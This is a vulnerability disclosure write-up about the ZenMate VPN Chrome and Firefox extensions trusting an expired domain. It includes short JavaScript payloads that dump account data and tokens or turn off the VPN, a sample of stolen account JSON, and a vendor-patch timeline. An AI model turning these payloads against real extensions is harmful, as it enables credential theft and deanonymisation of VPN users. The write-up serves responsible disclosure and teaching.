Summary

ZenMate, a VPN provider with over 43 million users, offers multiple browser extensions to use their VPN with. As of the time of this writing the browser extensions have a combined total of ~3.5 million users. The ZenMate VPN clients for both Chrome & Firefox trust the (previously) expired domain name zenmate.li which can make privileged API calls to the browser extension via message passing. I saw that this domain name was unregistered and bought it to both prove the issue and mitigate the vulnerability (since nobody else can buy it now that I own it). By hosting scripts on this domain it is possible to make use of the privileged APIs exposed via the page_api.js Content Script. After reaching out to the vendor they pushed out a fix very quickly and it is available in the latest version of the extension.

Impact

The impact of this exploit is the following, all of it can be done without any user interaction (other then that they must visit a webpage):

  • Dump all of the account information of the victim. The following is a list of some of the interesting bits:
    • Authentication UUID and secret token which can be used to login to the victim’s account.
    • Account ID
    • Email Address
    • Email Confirmation status
    • A list of all past email addresses used with the service, as well as when each change occured.
    • Account Type, and Subscription Information
    • Victim’s country
    • Device information along with detailed platform information, last sign-in time, usage stats such as ads/malware blocked, the device token, and more.
    • Whether or not the victim is connected to the VPN service.
  • Toggle off their VPN connection, allowing the attacker to reveal the victim’s true IP address and deanonymize them.
  • Update the credentials which the extension is using (e.g. log the victim’s extension into another account).
  • Inject rules into the extension which will force the extension not to proxy when visiting specifically declared sites. This allows an attacker to inject rules for domains they own in order to persist the deanonymization.

Vulnerability Details

The following is an excerpt from the Chrome extension’s manifest.json:

...trimmed for brevity…
{
  "js": [
    "scripts/page_api.js"
  ],
  "matches": [
    "*://*.zenmate.com/*",
    "*://*.zenmate.ae/*",
    "*://*.zenmate.ma/*",
    "*://*.zenmate.dk/*",
    "*://*.zenmate.at/*",
    "*://*.zenmate.ch/*",
    "*://*.zenmate.de/*",
    "*://*.zenmate.li/*",
    "*://*.zenmate.ca/*",
    "*://*.zenmate.co.uk/*",
    "*://*.zenmate.ie/*",
    "*://*.zenmate.co.nz/*",
    "*://*.zenmate.com.ar/*",
    "*://*.zenmate.cl/*",
    "*://*.zenmate.co/*",
    "*://*.zenmate.es/*",
    "*://*.zenmate.mx/*",
    "*://*.zenmate.com.pa/*",
    "*://*.zenmate.com.pe/*",
    "*://*.zenmate.com.ve/*",
    "*://*.zenmate.fi/*",
    "*://*.zenmate.fr/*",
    "*://*.zenmate.co.il/*",
    "*://*.zenmate.in/*",
    "*://*.zenmate.hu/*",
    "*://*.zenmate.co.id/*",
    "*://*.zenmate.is/*",
    "*://*.zenmate.it/*",
    "*://*.zenmate.jp/*",
    "*://*.zenmate.kr/*",
    "*://*.zenmate.lu/*",
    "*://*.zenmate.lt/*",
    "*://*.zenmate.lv/*",
    "*://*.zenmate.my/*",
    "*://*.zenmate.be/*",
    "*://*.zenmate.nl/*",
    "*://*.zenmate.pl/*",
    "*://*.zenmate.com.br/*",
    "*://*.zenmate.pt/*",
    "*://*.zenmate.ro/*",
    "*://*.zenmate.com.ru/*",
    "*://*.zenmate.se/*",
    "*://*.zenmate.sg/*",
    "*://*.zenmate.com.ph/*",
    "*://*.zenmate.com.tr/*",
    "*://*.zenmate.pk/*",
    "*://*.zenmate.vn/*",
    "*://*.zenmate.hk/*"
  ],
  "run_at": "document_start"
}
...trimmed for brevity...

The above shows that the Content Script scripts/page_api.js is run on all pages matching the patterns listed above. One of these is the *://*.zenmate.li/* pattern, which was the expired domain name that I bought.

The page_api.js Content Script does two things:
Injects a <script> tag into the DOM of my zenmate.li site, which sets window.__zm to an object with methods for calling the privileged extension API.

Sets up listeners for the following custom events:

  • toggle
  • setPageExcludes
  • updateZM
  • removeCredentials
  • updateWithCredentials
  • request:getData

Due to the extension’s trust of the zenmate.li domain (and any of its subdomains), we can make use of these privileged calls to do nefarious actions. For example, we can pull all of the user’s account information by making the request:getData call. The following is an example payload which does this:

// Make call to Content Script to get all user data
__zm.getData(function(results) {
    console.log(
        results
    );
});

Upon an arbitrary user with the ZenMate VPN extension installed visiting the zenmate.li page with this payload hosted on it, we can extract all of the sensitive user information for the victim. The following is an example of the data you can steal (I used a temporary account I created for this demo):

{
  "user": {
    "id": 43643953,
    "email": "[email protected]",
    "unconfirmed_email": null,
    "flags": {},
    "premium_expires_at": "2018-06-04 01:33:22 UTC",
    "partner_id": null,
    "idhash": "c86d4aac37946935a5e13c543326e5477fe9b43a0a2b2307db5977797d48d5c1",
    "marketable": true,
    "mkt_opt_in": "out",
    "opt": "out",
    "banned": false,
    "discount_code": "7JGA-QLKU-J930-EVAH",
    "confirmation_sent_at": "2018-05-28 05:57:04 UTC",
    "has_recurring_subscription": false,
    "is_intermediate_premium": true,
    "paid_premium_expires_at": null,
    "created_at": "2018-05-28 00:48:25 UTC",
    "account_type": "PREMIUM",
    "server_time": "2018-05-28 05:58:16 UTC",
    "actual_country": "US",
    "subscription_country": "US",
    "country_code": "US",
    "locale": "US",
    "connected_country": "",
    "connected": false,
    "current_ip": "172.68.140.235",
    "anon": false,
    "is_premium": true,
    "is_verified": true,
    "is_b2b": false,
    "is_btr": true,
    "active_product": "premium",
    "service_status": "trial",
    "is_tenant": false,
    "is_anonymous": false,
    "bus_id": null,
    "has_opted_in": false,
    "reminder_emails": true,
    "active_order_id": 9532193,
    "recurrence_count": 0,
    "affiliate_id": null,
    "subscription": {
      "purchased_at": "2018-05-28 01:33:22 UTC",
      "expires_at": "2018-06-04 01:33:22 UTC",
      "sku": "7_day",
      "title": "Premium trial",
      "description": "7 days free Premium"
    },
    "email_history": [
      {
        "changed_from": "[email protected]",
        "changed_to": "[email protected]",
        "created_at": "2018-05-28T07:57:14.657+02:00"
      }
    ]
  },
  "device": {
    "created_at": "2018-05-28 04:11:41 UTC",
    "current_sign_in_at": "2018-05-28 05:58:16 UTC",
    "features": [
      {
        "id": "ADBLOCK",
        "enabled": true,
        "available": true,
        "description": "Enable ad blocking"
      },
      {
        "id": "MALWAREBLOCK",
        "enabled": true,
        "available": true,
        "description": "Enable blocking of harmful sites"
      }
    ],
    "id": 59551317,
    "install_id": "ee983860-753a-14f6-31c0-208bff9e9bf5",
    "last_sign_in_at": "2018-05-28 04:11:45 UTC",
    "platform": {
      "id": "72338bed-f4ec-483c-b6f6-2771c38e92a9",
      "platform_name": "Chrome",
      "platform_vendor": "Google",
      "icon": "chrome",
      "environment": "browser_extension"
    },
    "platform_version": [],
    "registered_for_push_notifications": false,
    "stats": {
      "ads_blocked": 0,
      "bad_sites_blocked": 0,
      "gzip_compression_ration": 0,
      "webp_compression_ratio": 0,
      "compresssion_ratio": 0
    },
    "token": "e09a9bdbcf8c6fda2c11c60eb761a943d4ab448c3dbf0579938780f18ce35f16",
    "updated_at": "2018-05-28 05:58:16 UTC",
    "uuid": "d8fa9eed-47c8-4566-9e57-a812495d3b4c"
  },
  "version": "6.2.3"
}

Deanonymizing a user is similar and can be done with a payload like the following:

// Turn off VPN
__zm.toggle(false);

The following proof-of-concept page to demonstrate this issue. Upon visiting it with the (previously vulnerable) ZenMate VPN extension installed, your VPN will be toggled off and your account information will be dumped and your real IP will be revealed:
https://zenmate.li/poc.html

Thoughts on Root Cause & Remediation

This vulnerability exhibits a fairly common coding pattern in Chrome extensions where privileged API calls are declared inside of the extension and are then delegated via Content Scripts to regular web domains owned by the author for calling. This coding pattern is generally problematic because Chrome extensions enforce things like minimum Content Security Policies (CSP) and have external navigation and embedding blocking enabled by default. When you build a bridge outside of the secured Chrome extension environment and then greatly increase the attack surface via over-scoping you’re setting yourself up for failure. With the Content Script policy previously in place, all that is required for an attacker to make privileged extension API call is an XSS (or domain/sub-domain takeover) in any sub-domain of any of the dozens of domains listed. The patch applied by the vendor for both the Chrome and Firefox extension was to remove all domains except for *://*.zenmate.com/*. While this is still a fairly wide scope, it is at least preferable to the original policy. However, all that it would take to exploit this vulnerability again would be an XSS in any sub-domain of zenmate.com (or the base domain).

Exploit Video

Disclosure Timeline

  • May 28, 2:15am – Disclosed issue via security contact email address.
  • May 28, 2:38am – Confirmed by vendor.
  • May 28, 9:00pm – Patch issued for Chrome and Firefox extensions.